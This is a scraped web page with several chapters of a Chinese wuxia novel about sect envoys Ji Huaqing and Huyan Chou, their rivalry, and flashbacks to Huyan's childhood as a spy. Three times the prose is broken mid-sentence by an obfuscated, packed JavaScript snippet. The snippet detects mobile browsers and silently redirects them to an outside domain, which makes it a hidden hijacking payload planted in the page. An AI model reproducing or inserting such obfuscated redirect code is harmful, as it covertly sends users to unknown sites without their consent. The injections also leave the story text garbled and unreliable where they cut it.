姬花青见雨馀凉和覃七霄都是皮外伤,伸指一点雨馀凉额角,道:“往后可不能再莽撞。” 雨馀凉这回属于乱拳打死老师傅,啊不,是乱刀砍伤老师傅。 雨馀凉看着姬花青,笑道:“知道了前辈。” 随后一行人回到临蓟城中,找到一家药铺,对雨馀凉和覃七霄二人的伤口进行处理。 伤口在额头上,雨馀凉自己不好上药,姬花青走到雨馀凉跟前,道:“我帮你吧。”雨馀凉坐在药铺里的凳子上,姬花青站着给他上药,胸前的饱满白皙刚好凑到雨馀凉眼前。 雨馀凉瞳孔一震,连忙移开目光,并且感受到自己的脸开始有些发烫,幸好姬花青给他上药时,广袖挡住了雨馀凉的脸。雨馀凉祈祷自己的脸上不要现出红色,至少在姬花青上完药之前脸上的红晕已经退去,不然让人看见可太尴尬。 覃七霄的伤也在额头,他看到姬花青帮雨馀凉上药,便看向玄同教甯元元等人,甯元元方才似乎想上前,然而当覃七霄的眼神与她相接后,甯元元生生止住了脚步,她叉腰看着覃七霄道:“你就想吧,没人会给你上药的。” 覃七霄道:“我还不想要你上呢,天哪,光想象一下那个画面就已经能让我做好几天噩梦!” 花道人自告奋勇道:“那就我来吧。怎么样覃兄弟,开心么?” 覃七霄道:“呃,我还是自己来吧。” 雨馀凉和覃七霄上完药,姬花青道:“七霄还是老样子,看见人二话不说就想上去打一架。” 甯元元道:“花青姐姐你是不知道,教里的人看见他都绕着走。” 一旁郗鸿杳抱着手臂靠在柱子上,笑道:“七霄已经把教里除教主外所有人都挑战了一遍,至于赢没赢,我看对这小子来说根本就不重要。” 姬花青也笑了,正要说什么,忽听见身后有人大踏步走进药铺的声音,紧接着一道男声传来:“掌柜的,帮我抓些治小儿风寒的药。”这道声音极磁性极好听,对姬花青来说,甚至有些熟悉。 姬花青回头看去,一时怔愣在了原地。 而那模样极是英俊、眼珠略带碧色、背后背着长枪的男子也刚好看向姬花青,同样地,他的目光落在姬花青脸上后也迟迟没有再移开。 二人就这样对视着,时间仿佛静止。 下一刻,雨馀凉只见眼前白光闪了两闪,一眨眼的功夫,姬花青就已跃至那男子身前,只见她左手持刀右手握剑,刀刃剑刃齐齐斫在那男子的长枪上。 而那男子也是反应神速,姬花青拔刀拔剑的速度已经够快,雨馀凉等人甚至还没明白发生了什么,那男子早已抽出背上长枪横过枪身格住了姬花青齐出的刀剑。 覃七霄看看姬花青,再看看那男子,道:“花青姐!呼延大哥!哎哟你们怎么回事啦!怎么一声招呼不打直接就打起来了?” 姬花青一边往自己双手刀剑上加力一边道:“我要砍了他,还要经过他同意么???” 92. 雁磐(一) 姬花青左手长刀挥出,呼延酬以枪杆一头格住,左手攻势阻滞,姬花青右手立时向前送出,呼延酬也即刻提起长枪另一头,只听当的一声,长剑剑尖刚好刺在枪刃上。 那药铺掌柜都不知道发生了什么,就见两个人在自己的铺子里又是亮家伙又是动手的,正当他心内暗暗叫苦时,却发现这两人其实还有点道德,姬花青和呼延酬并没有在药铺中久留,而是一路打到了药铺外。 药铺掌柜松了一口气,好家伙,那女的一手抡刀一手抡剑看上去就怪吓人了,而那男的手里的长枪更是了不得,那男的便已生得很是人高马大,而那枪比他还要高出不少,一旦抡开了,自己这间小小的铺子可承受不起。 所幸这间药铺所在的位置比较偏,周围没什么人经过,姬花青和呼延酬便直接在药铺外打了起来。 雨馀凉以及其他玄同教之人也从药铺中跟了出来,雨馀凉和覃七霄看着与呼延酬斗在一处的姬花青,心里都在想:“你还说别人看见人二话不说就上去打架嘞。” 然而除了想到这个,雨馀凉心内还被别的情绪所占据,刀光剑影枪花映在他瞳孔中,雨馀凉感到自己内心有一种隐隐的雀跃。 他知道姬花青会使刀,会使剑,却没想到她能将二者同时运使。 刀剑齐使,刀法剑法交织,绚烂无比又有条不紊,而呼延酬的长枪硬是将姬花青的每一招都挡了回去。这两人的刀剑法与枪法至精至妙,相互碰撞下又激发出更多出人意料的招式。刀剑变幻、枪尖旋圜间,雨馀凉自出生到现在从未见过的高招巧式络绎不绝,如流水般源源不断倾泻而出。 雨馀凉看得极是痛快,同时突然回过神,跟姬花青打架的那个人,是谁来着? 当当两声,呼延酬的枪杆挡下姬花青同时砍下的刀刃剑刃,这回姬花青的动作并未因此而阻滞,只见她将手中刀剑顺着呼延酬的枪杆滑动,瞬间擦出数点火星。眼见姬花青的刀刃就要削中呼延酬握枪的手指,而姬花青身随刀走,也已闪至呼延酬面前! 姬花青身在半空,呼延酬持枪在地上站定,姬花青和呼延酬四目相对,似乎同时回忆起了如烟往事。 春花烂漫,草长莺飞,暖阳微风下的雁磐山,前不久才经历过一场流血事件。创教一百年后,玄同教从内部分裂,中护法康忱守不满时任教主的各种做法,于是带着教中支持自己的一众人马离开雁磐山总坛另起炉灶,之后更是带人杀回雁磐山,除掉了原来的教主,自己成了玄同教的新一任教主。 这时的玄同教,有很多事等着要解决,而对前任教主手下之人的安排,则是其中尤其需要妥善处理的。 康忱守拖着一个约莫九、十岁的小男孩来到教中禁地七星楼中,在他们前方,一名男子背对他们而站,此刻听见声音,转过身来。康忱守先对那男子抱拳行礼,随后道:“教主说得没错,奸细果然就在那群养马的孩子中。”说着便将小男孩推到前面。 小男孩抬头看向被康忱守称作“教主”的那人,只见后者是个三十岁左右的俊逸男子,看上去比康忱守要年轻。 那男子站在前方,男孩见他看着自己,那男子对男孩点头道:“孩子,过来。” 在这种情形下,男孩作出了“最好乖乖听话”的判断,他看着那被称为“教主”的男子,迈开步子向前走去。 等男孩走近,那男子蹲下身,对小男孩道:“你是聊氏派来的,是不是?” 男孩摇摇头,十分自然地撒谎:“不是。” 那男子垂下眼,站起身来,向旁边走出两步,道:“聊正赟大量收留北地流民孩童,这些孩子经过残酷的训练后,便让他们渗入到江湖上各个势力中,好替聊氏递送情报。聊氏这些小细作的工作不能出一点差错,否则下场凄惨,要么被他们潜伏的势力处死,要么被聊氏折磨至死。” 男孩听那男子道出这些,身子以极细微的幅度颤了颤,不过他相信没人察觉。 那男子说得一点不错,男孩正是聊正赟派来潜入玄同教的间谍。他在玄同教潜伏了两三年,并没有人怀疑像他这样的小孩子会有什么特殊的身份,而如今玄同教权力更迭,从前的中护法杀了原来的教主,自己成了教主,男孩没想到,玄同教一换了主人,自己的身份就被看了出来。 不过让男孩感到奇怪的是,将自己带来这里的康忱守不已经是教主了吗,为什么会称另一人为教主?在玄同教潜伏了这么久,这七星楼他是第一次来,他也从没见有其他人来过。 那男子回头,看向男孩道:“聊正赟培养的这些小细作对聊氏尽心尽力,可为什么呢?是因为被聊氏威逼恐吓,还是因为聊氏向这些孩子们许诺金钱地位还有自由作为回报奖励?” 男孩听那男子说到这,耳边不由自主地回响起了自己之前在衡泽时听到的话:“只要你们做出了足够的贡献,就能在聊氏获得更高的职位,到那时,你们每月都能领到一大笔薪俸,拥有自己的住处和下人。” 那男子的声音将男孩拉回了现实,只听他道:“可这些孩子自己呢?他们有没有自己想做的事?有没有想要实现的理想?孩子,你的家是在北地什么地方?你的家人呢?” 男孩的眼前忽然闪过一幅画面,那是一片沙漠中的绿洲,绿洲中有集市,集市上各种各样的货物是大漠里仅有的鲜艳色彩,除了这些之外,绿洲里还有他和母亲住的小屋。 可有一天,不知从哪来了一群人,那群人骑着马大声呼喝,来到他和母亲所住的绿洲,见人就杀。 他被母亲藏在家里的地窖中,等外面的嘈杂散去,他费了好大的劲掀开盖在地窖口上的板子,眼前的景象却让他差点晕厥。 四周一片狼藉,尸横遍地,似乎连呼啸而过、卷起地上砂砾的风都是红色的。而他的母亲仰躺在地,眼睛还睁着,只是眼眸中已失去了神采。 他没有家了。 他漫无目的地,漫无目的地在大漠中走着,他不辨方向,只管向前走,他本来应该是要死在大漠里的,可命运却让他走出了大漠,将他带到了大漠之南,来到这片被称为水西的土地。 在水西北边的一个小镇,他和其他流民的小孩子一起,为了一口饭随着一位看上去身份尊贵的大人南下,来到了聊氏多年来盘踞的衡泽。 在那座北方小镇时,天上还飘着鹅毛大雪,可他们越往南,四周的积雪就越少,来到衡泽后,他发现这是个就连在冬天也不下雪的地方。 他来到了一个离故乡很远,很远的地方。 然后就是日复一日的残酷训练。 很多跟他一起来的人都受不了倒下了,但他似乎有这方面的天赋。 他训练很刻苦,他的话很少,他的表情总是很严肃。 他的神色举止看上去已不像一个孩子。 他这般拼命地努力,这般不与其他人厮混,自然就有人看不惯他。 一次训练结束,在回到住处的路上,他远远就看见了守在那里的五六个孩子。 他没有什么反应,只是继续向前走去。 那些人挡住他的去路,言语的嘲讽很快变成了推搡,推搡很快变成了殴打。最后,他站在原地,而四周则倒着那些堵他的孩子,其中三个是比他大的孩子。 他用衣袖擦去嘴边的血迹,头也不回地离开了。 因为出众,于是他被分配到玄同教来,运用之前受到的训练,定期为衡泽送去玄同教的消息。 如此在玄同教待了两三年,晚上周围没人时,他会拿起一根木棍,在马厩旁练习枪法。 大约在一两月前的一个满月之夜,像往常一样,他又一次用木棍练习枪法,正当他为自己这两三年来的进步沾沾自喜时,忽然瞥见自己脚边多了一道影子。 他骇了一跳,立即将头转向身后,只见一名身披灰色斗篷的人站在自己后面。 他不知道这人在自己身后站了多久,他的心怦怦而跳,但很快便冷静下来,他在心内告诉自己,偷偷练武并不能证明他是细作。 从男孩的角度,他只能看清那人的下半张脸,而那人突然开口道:“你的枪法很不错。” 他暗暗心惊,对方已看出了他用木棍使的是枪法。 正当他疑惑那身披斗篷之人的身份时,后者走上前来,他本自十分紧张,此刻更是管不了那么多,握紧木棍就朝那人挥去。 那人似是随意一握,就握住了木棍的另一头,男孩一惊,手肘回缩,要将木棍从那人手中抽离出来。然而无论他怎么使劲,木棍都纹丝不动。 正当他惊惶交加时,那人握住木棍的手突然松开了,他站立不定,一跤坐在了地上。 他坐倒在地,抬起头看着眼前那人,不知后者打算做什么。 那身披斗篷的人却道:“你的枪法很不错,有些地方却需要改进。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14566507|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男孩讶异地看着那人。 随后那人指点了他几招,他照那人所说的方式再练,发现从前有所阻滞的地方果然顺畅了。 这之后,那人离去,什么问题都没有问他。 此刻,七星楼中,男孩的心神似乎飘到了很远的地方,他想,既然自己的身份已经被玄同教发现,那么这一切也到了该结束的时候。 于是他对眼前的男子坦白了:“我的家在北地,我不知道那是北地的什么地方,但那里有戈壁,有沙漠,有绿洲,还有娘。” 那男子道:“你娘呢。” 男孩道:“她不在了,她……死了。” 那男子轻声道:“我很遗憾听到这个。” 男孩不再说话,等待着迎接死亡的命运,等着与母亲相见。 那男子却突然道:“你的枪法很不错。” 男孩猛地抬头,吃惊地看着面前的男子。 原来那晚指点自己武功的是他。 那男子略微抬高脖颈,看往斜向上方,道:“玄同教创立的初衷,便是重整如今黑暗的武林,让所有人和事回到他们应该存在的位置,让曾遭受过不公的逝者得到安息。而我们已经偏离这初衷太久了。”说到这里,他低头看向男孩:“你愿意与我们一同完成这项事业么?” 那男子气质端严而高贵,男孩从一开始见到他时,就被那男子的气度所折服,男孩怔愣片刻,他想起那片沙漠中的绿洲,想起躺在地上的母亲,他道:“我愿意。”他忽然下了决心,单膝跪地,道:“见过教主!” 那男子道:“好。”他将男孩扶起来,道:“只是你记住,出了这七星楼,你要称呼为教主的便不是我,而是康忱守康教主。”男孩转头看向康忱守,后者微微颔首。“此外,”那男子继续道:“你在聊氏的身份依旧,你仍旧为聊氏送去消息,不过,是我们需要他们知道的消息。” 男孩道:“是。” 那男子点点头,道:“孩子,你的名字是?” 男孩道:“呼延酬。” 那男子道:“好,呼延酬。”他突然回头叫道:“青儿。” 只见帷幕后出现一名女童,呼延酬这时才意识到,整个屋子不止他、眼前那男子和康忱守。 方才听那男子所言,似乎只有很少的人才知道他的存在,而那女孩显然就是其中之一,她是谁?难道是那男子的女儿? 那女孩子微微躬身,对那男子道:“师父,弟子在。” 原来是徒弟,呼延酬想。 那男子对那女孩道:“青儿,去把愈骨散拿来,交给这位小兄弟。” 那女孩恭敬道:“是。” 片刻过后,那女孩双手捧着一个青玉色的小瓶从内室转了出来,她来到呼延酬面前,将小瓶交给后者,二人对视了一眼,随后又都将目光移开。 那女孩对呼延酬道:“愈骨散每日早晚各用一次,涂抹于患处即可,须连用一月,至于之后是否继续用药,则视情况而定。” 那男子道:“这是我的徒弟,大名叫作姬花青,你们俩年纪相仿,平日可以多多来往,交流习武心得。至于这愈骨散么,我见你右肩处似有旧伤,这药专门用于医治陈年创口,你拿去用吧。” 呼延酬心内一凛,他右肩处确实有伤,是两年前在衡泽受训时留下的,当时虽用过药,但这两年来伤口一直反反复复开裂,有时更是疼痛不已,不想那男子竟看了出来。 呼延酬对那男子躬身道:“谢教主。” 呼延酬走后,姬花青对那男子道:“师父,就不怕他假意答允我们,实际上还是为聊氏那边做事么?万一他将聊氏那边虚假的消息递给我们,反将我们这边真实的消息给聊氏怎么办?”她仰头望向那男子,“况且,将师父的存在透露给他,风险也大了些。” 那男子揉了揉姬花青的头,道:“放心,就算那样,师父也有对策。” 之后,呼延酬知道了那男子的名字叫作穆禾。穆禾从不在教中露面,玄同教中,除他呼延酬,康忱守,以及穆禾的徒弟姬花青外,没人知道穆禾的存在。尽管如此,穆禾也在幕后控制着玄同教的走向,穆禾的命令通过康忱守这个表面教主传达给教中众人,而姬花青也被对外宣称是康忱守的徒弟。七星楼依然是教中禁地,其他人等闲不能进入其中。 时光如白驹过隙,转眼之间,距呼延酬归顺玄同教已经过去七年了。 93. 雁磐(二) 七年后,呼延酬已是个十六岁的少年,而姬花青也到了及笄之年。 呼延酬的确是个习武天才,连穆禾也对他如今的武功造诣感到惊讶,而他性子沉稳,办事妥帖,穆禾便授意康忱守让他担任了玄同教左使一职。 与此同时,在聊氏那边,呼延酬也被聊正赟选中成为了九歌的东君。 原来当年聊氏承诺他们的都是真的,只不过很少有人能活到这个时候。呼延酬自嘲地想,若不是当年穆禾将他收归玄同教,他能否活到现在成为聊氏九歌的东君? 他虽已成了聊氏九歌的成员之一,但聊氏那边的意思,是让他仍旧卧底玄同教,所以他既是玄同教的左使,又是聊氏九歌的东君。 这日呼延酬正在自己屋内擦拭长枪,一个脑袋突然从门后探出,姬花青叫道:“呼延大哥!” 呼延酬看向门口的姬花青,道:“花青?什么事?” 姬花青走进屋中,她穿着一袭月白色衣衫,衣衫上绣着数枝桂花,腰间系一条缥色百迭裙。她头上的发髻也束着一根缥色发带,发髻上别着木梳,并饰以通草桂花。 姬花青对呼延酬道:“呼延大哥,陪我练武功。” 呼延酬道:“好吧。不过我这会不空,等稍微晚点。” 姬花青在呼延酬对面坐下,道:“另外还有件事。” 呼延酬道:“什么?” 姬花青道:“师父说,我现在也是时候逐渐接触教中事务了,所以呼延大哥你这次下山去荠河村,要带上我。” 呼延酬道:“是么?我怎么没听教主说起过。” 姬花青有些不满道:“难道我还在这种事上撒谎不成?你等着吧,一会康叔叔就会来跟你说了。” 之后康忱守果然向呼延酬带去了让他和姬花青同去荠河村的命令。至于为何要去那个名叫荠河的小村子,二十年多前,几名玄同教众携着教中某物经过那处村落时遭遇强敌,遂展开激烈对决,最终两败俱伤,双方所有人俱殒命于那座村落。而那几名玄同教众当时携带的东西如今则落在荠河村当地一个匪帮的手中,呼延酬和姬花青要做的,便是将那本属于玄同教的东西拿回来。 到了出发的日子,呼延酬和姬花青下山后以轻功赶了一个多时辰的路,来到雁磐山附近的嘉舆府中。二人在一家饭馆里打尖,端上来的食物中,一道生煎包看似不起眼,姬花青一尝之下却惊为天人。 呼延酬对姬花青道:“之后到了荠河村,你找个清静地方待着,我去找那群帮匪,把教主交给我们的事办了。” 姬花青先是一愣,道:“可师父这次要我出来,就是为了锻炼我,你都把事全做完了,我这次不就白出来了吗?” 呼延酬道:“你不害怕,不紧张?” 姬花青道:“是有点紧张,但总要迈出第一步。” 呼延酬又一次道:“你不害怕?” 姬花青道:“不害怕。” 呼延酬道:“真不害怕?” 姬花青疑惑道:“真不害怕啊。” 呼延酬脸上现出狡黠笑容,道:“你要跟过来也可以,不过动手的事嘛,交给我便好,你在旁边看着就行。放心,我不跟教主说。” 姬花青道:“不需要,你有你的活干,我有我的活干,咱俩分工合作。” 呼延酬见姬花青坚持,笑道:“好罢。不过作为一个过来人,我要告诉你的是,跟熟人切磋和实战是两回事,到时候你别吓得屁滚尿流。” 之后呼延酬和姬花青在荠河村顺利拿回了东西,二人顺便将那匪帮也一并剿灭了。姬花青和呼延酬合作愉快,且作为姬花青武功小成后第一次实战,这次任务完成得算是圆满。 在返回总坛的途中,二人又一次经过了嘉舆府。这回姬花青又去到之前她和呼延酬打尖的那家饭馆,买了一屉生煎包并让店家打包好。 呼延酬道:“上次没吃够还要带回去吃?” 姬花青将用油纸包好的生煎包用双手小心翼翼捧着,道:“我要带回去给师父尝尝。” 这以后玄同教主便经常让姬花青和呼延酬搭档下山办事。呼延酬和姬花青乃少年男女,双方又都是彼此接触到的第一个年纪相仿的异性,有时便难免有一些不那么正经的戏谑言语,两人都察觉到与对方在一起时那股奇异的躁动,但谁也没有对对方有进一步的表示。 如此过了大半年,穆禾因要就某事与呼延酬讨论而将后者召入七星楼,呼延酬甫一进入七星楼便因眼前的景象而怔愣住。 穆禾就站在呼延酬前方中央的位置,而姬花青则双手交叠,侍立在旁。 在玄同教这数年,呼延酬长大了,姬花青也一样。如今的姬花青,体态窈窕,虽然还未完全长开,却也初具女子身形。而时间在穆禾身上仿佛是静止的,这么多年过去,穆禾的样貌还和当初呼延酬初见他时一般无二。 穆禾与姬花青师徒二人若然并立,呼延酬看在眼中,产生了一种难以言喻的感觉。 姬花青性子并不泼辣,却也不是什么听话的女子,可在穆禾身边时,她的一举一动唯有用“乖巧”二字形容。 而呼延酬对穆禾的情感是复杂的。初见时,他就惊叹于穆禾的气度,而穆禾的武功、博学、远大的理想,无一不让呼延酬感到被深深折服——同时也让他感到隐约的嫉妒与恐惧。 就像他当初归顺玄同教,一半是出于自愿,一半是为穆禾所逼。如果当年他没有答应的话,穆禾是不会让他活着的吧。 穆禾是那个在幕后掌控一切的人。 如今看到姬花青与穆禾站在一起,让呼延酬产生了一种类似自惭形秽的感觉,但他绝不承认这是自惭形秽,他突然感到恼怒,他越发觉得自己之前的行为是多么可笑,姬花青跟穆禾才是一路人,他对姬花青而言,不过是一个消遣的玩物罢了,他怎么会傻到去和姬花青玩什么暧昧游戏? 这之后姬花青又去找呼延酬切磋武功,呼延酬拒绝了。 姬花青不依不饶:“呼延大哥,跟我打一场又不费你多长时间,上次那一招……” 呼延酬突然爆发了,怒吼道:“我说——不打!!” 姬花青一愣。 呼延酬怒视姬花青:“我是你的谁?你又是我的谁啊?” 姬花青道:“我……” 呼延酬接下来的话一股脑地奔泻而出:“我们之间说白了不过是同僚而已,你有什么资格来安排我做事?你叫我跟你切磋我就得跟你切磋?别以为你师父是教主就可以为所欲为!” 在姬花青的角度看来,她不过是去找呼延酬切磋,她不懂呼延酬为什么可以上升到这种高度。 呼延酬这么发泄一通,姬花青先开始愣住,甚至想解释一番,随后也回过神来,对呼延酬怒道:“我可没安排你做事,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582213|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不想打就不打,没必要发这么大火!还有——”姬花青看着呼延酬:“我没有因为我师父是教主就为所欲为,少给我扣帽子!” 呼延酬不再说话,只是瞪着姬花青。 姬花青跟呼延酬对视片刻,道:“算了,是我不该在这个时候来找你。”她转身,“这几天没有任务,呼延大哥,你好好休息吧。” 那之后姬花青再也没去找呼延酬切磋过,呼延酬对姬花青的态度从此也和先前大不相同。 ------------------------------ 药铺外,姬花青刀剑交叉,将呼延酬的长枪牢牢锁住。 郗鸿杳拍手道:“花青,武功又精进了!” 在姬花青和呼延酬仅有的几次切磋中,姬花青在呼延酬手下都走不到五六招,而方才姬花青已经和呼延酬过了有数十招。如今二人兵刃相抵,僵持不下。 东护法冉苏眉和西护法邬襄跑到二人旁边,分别劝解姬花青和呼延酬:“这么多年没见,再遇见时应该一起坐下聊聊天、喝个酒什么的,不要一上来就动刀动枪嘛。” 花道人悄悄在覃七霄旁边附耳道:“这么多年过去还是这么……这两个人哟,啧啧。” 覃七霄斜眼看向花道人,道:“你想说什么?” 花道人一边摇头,一边道:“不简单。” 覃七霄道:“又在打哑谜了,你说的话我一个字都听不懂。” 花道人嘴带笑意叹道:“不简单,不简单哪。” 覃七霄脸现疑惑神色,另一边,姬花青盯着呼延酬,身子往后一倾,一刀一剑便离开了呼延酬的长枪。 姬花青将刀剑收归鞘中,邬襄问呼延酬道:“呼延兄,这几年在临蓟一切可好?” 呼延酬道:“一切顺利。我已收到鹿护法的书信。” 雨馀凉走到姬花青身边,问道:“花青前辈,那位……先生是?” 姬花青道:“馀凉,你之前问我玄同教左使,”她头朝呼延酬一偏,“他便是了。” 一众人正说着,忽听得一道柔柔的女声传来:“酬哥,酬哥。” 众人闻声一齐回头看去。 只见一年轻美妇怀抱着一个婴孩向众人所在之处快步趋近,她看看周围的人,又看向呼延酬,道:“怎么去了这么久……” 呼延酬也立即朝那女子走去,道:“镜离,你怎么抱着麒儿过来了,烟儿呢。” 听到“镜离”两个字,姬花青一怔。 那名叫作朱镜离的女子道:“我在家左等右等不见你回来,就抱着麒儿找你来了,烟儿我让她留下来看家。” 呼延酬对朱镜离道:“把孩子给我吧。”说着向前伸出双臂。朱镜离闻言,将婴孩小心翼翼地在呼延酬怀里一松,呼延酬接过孩子,神色爱怜地以自己的脸去贴那婴孩的脸颊与小小的手掌。 方才朱镜离远远地看见呼延酬与一群人交谈着些什么,她之前听丈夫说起过这几日玄同教那边的人要来临蓟,便猜到眼前这些人是丈夫的同僚。于是理了理头发,对玄同教诸人盈盈道了个万福:“见过诸位。” 而在她对面,是表情十分精彩的姬花青和玄同教众人。 什么情况?呼延酬来临蓟这几年……不仅老婆有了,连孩子都有了? 姬花青看着面前的呼延酬和朱镜离,再次陷入了对往事的回忆。 94. 雁磐(三) 十七岁时,姬花青成了玄同教右使。 玄同教大殿,教主康忱守高坐殿上,左右使者呼延酬和姬花青分站两旁。台阶下则站着各护法、长老以及其他玄同教众。 眼下玄同教面临着一件棘手的事,半月以前,有一股人马袭击了水西卫氏的某个据点,随后隶属于聊氏的一支队伍在赶路时遭遇伏击,而根据这两场事件现场留下的线索来看,干下这两件事的是同一拨人,玄同教的人。 但问题在于,玄同教根本就没有策划这两起事件。 康忱守看着大殿中央的中护法鹿怀甫,后者道:“……于是我们的人跟着那伙冒充我教的鬼鬼祟祟之徒到了他们的营寨所在,经过一番搜索,寻到了这个。”说毕从袖中拿出一张纸,雷心主上前将纸张从鹿怀甫手中接过,来到教主座前将那张纸呈递给康忱守。 康忱守拿过纸张看向上面的内容,鹿怀甫接着道:“这书信似乎是从水南白氏流出。” 康忱守一手摸着胡须,道:“也就是说,幕后策划这件事再栽赃到我教头上的,是水南白氏?” 邬襄道:“白氏?我教跟他们素无仇怨,他们怎么寻上了我们的晦气?” 郗鸿杳道:“不是白氏,是白氏身后的李氏。说到底,还是聊正赟和卫尧却那两个东西闹的吧?他们为了提升自己在水西武林的威望,都想把手伸到水南去,水南那姓李的盟主无力与他们抗衡,便想让水西内部乱起来转移他们的注意力。而我教自创教以来便和这些道貌岸然的所谓‘江湖白道’不对付,自然便成了水南那边的最好栽赃对象。” 鹿怀甫点头道:“郗护法分析得极是,我也正是这么想。白氏作为李氏的代理人,纠集起一众人马,冒充我教的名义行挑衅聊、卫两家之事,试图挑起我教与武林白道之间的纷争,好让他们水南有喘息之机,而白氏则在水南通过书信遥控这些乌合之众。” 花道人道:“可我听闻白氏已不得李氏重用很久了,且如今的白氏家主白晋更是个只知享乐之人,水南第二天换了主人他可能没什么反应,但若是晚上房间里没有美女,他准会大发雷霆。” 鹿怀甫道:“所以我们需要查清此事。我玄同教虽不屑于遵守他们武林白道的规矩,却也不是鬼祟卑劣之辈。”他看向台阶上方,“教主,请指派人手前往水南彻查此事!” 康忱守将书信折好放在一边,点点头道:“嗯,但这件事涉及水南,不能出一点差错,须要可靠的人前去。”于是叫:“呼延酬姬花青。” 呼延酬和姬花青同时侧身转向康忱守,异口同声拱手道:“属下在。” 康忱守道:“上前听命!” 呼延酬和姬花青走下台阶,并排站立,面对着台阶之上的康忱守。 康忱守道:“方才的话你们也听到了,你二人就动身前往水南临蓟,按照中护法提供的线索,务必揪出那个藏身白氏跟我教作对之人。一旦找到,格杀勿论,只是不要引起太大动静。” 呼延酬和姬花青同时道:“属下领命。” 康忱守道:“你二人行事务必小心仔细,不能出半分差错。” 呼延酬和姬花青道:“是。” 一下将左右二使者都派出,足以见得教主对此事的重视。而除了呼延酬和姬花青,康忱守还叫了花道人和他们一起,此外还有一队二十多人的玄同教众。 白氏虽然是水南的武林世家,但向来在水西的一座铸造古堡里订购兵器,而不久之前,白氏才向铸造古堡订下了一批货。江湖上除玄同教外谁也不知道的是,这座铸造古堡早在一百年前便在暗中归顺了玄同教,直到今日,尽管水西水南大量的帮派教盟、武林世家的兵器来自这里,但这铸造古堡的堡主依旧忠于玄同教。 而花道人和铸造古堡的堡主关系非同寻常。康忱守派他跟着呼延酬和姬花青一起去临蓟,就是要他们扮成铸造古堡的人假装去给白氏送货,并讨论下一批订单的问题,直接进到白氏府邸中,这样一来,调查的难度就大大减小。 只是花道人哪里想到,跟呼延酬和姬花青同行,气氛居然可以这么压抑。 两个人都冷着脸,除了谈论任务,谁也不跟谁说话,弄得花道人也不敢说话。 平日在教中,没见他们有过仇啊,虽然也没见他们关系有多好就是,花道人见过这两个人在教中打招呼是什么样的,两个人面对面遇到的话,只是面无表情地点点头。现在再回想起来,这种冷淡的礼貌简直可疑。 救命啊,这是什么狗屎的组合?教主要不要自己来感受一下?他一定觉得同时出动左右使者简直帅极了,他一定是不知道这两个人私下里是怎么相处的吧? 本来这次能去水南花道人是很开心的,虽然要做的工作很讨厌,但花道人此生唯爱欣赏美女,而水南的女子跟水西的女子相比,又是另一种风情。 然而到水南之前他都得忍受这种压抑的氛围,于是花道人在心中祈祷,他在水南的艳遇最好足够刺激,那么在去临蓟路上的忍耐就是值得的。 就在花道人这么想着的时候,身后马车上放着的箱子突然传来啪的一声响,花道人以及姬花青、呼延酬警惕地回头看去。 马车上放着许多箱子,而这些箱子里装着要送去白氏的各种武器,照理说是不会自己发出声音的。 只见一个小男孩从其中一个箱子里探出身子,道:“哇,憋死我啦。” 花道人、姬花青、呼延酬以及其他玄同教众都睁大了眼,花道人三两步走上前,拎着那小男孩的耳朵道:“覃七霄?你小子怎么在这里???” 覃七霄“哎哟”了两声,花道人这才松了手,覃七霄用天真诚恳的眼神看着面前的几人道:“你们要去冒险,带我一个吧!”因为刚刚耳朵被揪疼的缘故,他的眼睛看上去还有些湿润。 花道人一巴掌拍在这个小屁孩脑袋上,道:“带你个头!我们可不是去玩的,你跟过来担心小命不保!” 听到还会有生命危险,覃七霄显得更兴奋了,然而花道人下一刻就对姬花青和呼延酬道:“我们得把他送回教里去。” 姬花青和呼延酬下意识地对视一眼,然而两人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596758|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马上就将目光移开了。 覃七霄忙道:“别别别,千万别送我回去,我爹会把我的屁股打烂的!” 花道人道:“是该打烂,打得越烂越好,否则不长记性。” 覃七霄道:“你们已经走到离雁磐山这么远的地方了,要是这个时候再返回教中,不就耽误时间了吗?”他学着大人语气老成道:“水南那边的事很紧急,半点都耽误不得。” 覃七霄也是个鬼精灵,知道要是自己在姬花青等人刚下山那会就现身绝对当场就会被送回去,所以他一直在箱子里躲到他们走得离雁磐山足够远。方才姬花青和呼延酬下意识地对视,便是因为到了这个时候,再返回雁磐山一趟已经不现实了,但若不把覃七霄送回总坛,难道真要带着小孩子去找人杀人? 姬花青道:“可你爹娘知道你去哪了吗?你要是突然不见了,他们一定会很着急。” 覃七霄从姬花青的话里听出松动的意思,立即道:“没关系的,我离教前留了一张纸条,他们会知道我是和你们在一起。” 